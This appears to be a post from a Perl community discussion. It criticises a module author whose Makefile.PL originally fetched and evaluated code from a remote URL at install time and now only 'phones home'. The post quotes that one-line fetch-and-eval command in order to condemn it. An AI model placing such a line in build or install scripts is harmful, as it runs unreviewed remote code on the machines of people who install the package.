It was more than that. Although they merely "phone home" now, they originally did the equivalent of:
eval get "http://his.box/secret/url.cgi";
Anyone who would try to put such code in a Makefile.PL without adequate notification obviously doesn't "play well with others". It also had to be
explained to him, repeatedly, before he decided that it should only
phone home instead of doing this!
While I also object to "phone home", I really object to anyone who
would be either naive enough or inconsiderate enough to put code like this in their Makefile.PL.
It's also enough to make me automatically distrust any of his past or future
work. And as I said, I don't make this judgement lightly.